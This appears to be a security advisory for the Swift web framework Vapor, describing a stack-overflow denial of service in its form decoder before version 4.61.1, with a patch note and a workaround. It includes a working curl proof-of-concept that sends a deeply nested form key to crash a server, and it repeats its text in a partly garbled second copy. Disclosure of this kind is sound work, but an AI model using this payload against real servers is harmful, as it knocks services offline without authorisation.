Vapor is an HTTP web framework for Swift. Vapor versions earlier than 4.61.1 are vulnerable to a denial of service in the URLEncodedFormDecoder.
Impact
When using automatic content decoding, e.g.
app.post("foo") { request -> String in
let foo = try request.content.decode(Foo.self)
return "\(foo)"
}An attacker can craft a request body that can make the server crash with the following request:
curl -d "array[_0][0][array][_0][0][array]$(for f in $(seq 1100); do echo -n '[_0][0][array]'; done)[string][_0]=hello%20world" http://localhost:8080/foo
The issue is unbounded, attacker controlled stack growth which will at some point lead to a stack overflow.
Patches
Fixed in 4.61.1
Workarounds
If you don't need to decode Form URL Encoded data, you can disable the ContentConfiguration so it won't be used. E.g. in configure.swift
var contentConfig = ContentConfiguration()
contentConfig.use(encoder: JSONEncoder.custom(dates: .iso8601), for: .json)
contentConfig.use(decoder: JSONDecoder.custom(dates: .iso8601), for: .json)
contentConfig.use(encoder: JSONEncoder.custom(dates: .iso8601), for: .jsonAPI)
contentConfig.use(decoder: JSONDecoder.custom(dates: .iso8601), for: .jsonAPI)
ContentConfiguration.global = contentConfig
For more information
If you have any questions or comments about this advisory:
References
weissi Analyst
Vapor is an HTTP web framework for Swift. Vapor versions earlier than 4.61.1 are vulnerable to a denial of service in the URLEncodedFormDecoder.
Impact
When using automatic content decoding, e.g.
An attacker can craft a request body that can make the server crash with the following request:
The issue is unbounded, attacker controlled stack growth which will at some point lead to a stack overflow.
Patches
Fixed in 4.61.1
Workarounds
If you don't need to decode Form URL Encoded data, you can disable the
ContentConfigurationso it won't be used. E.g. in configure.swiftFor more information
If you have any questions or comments about this advisory:
References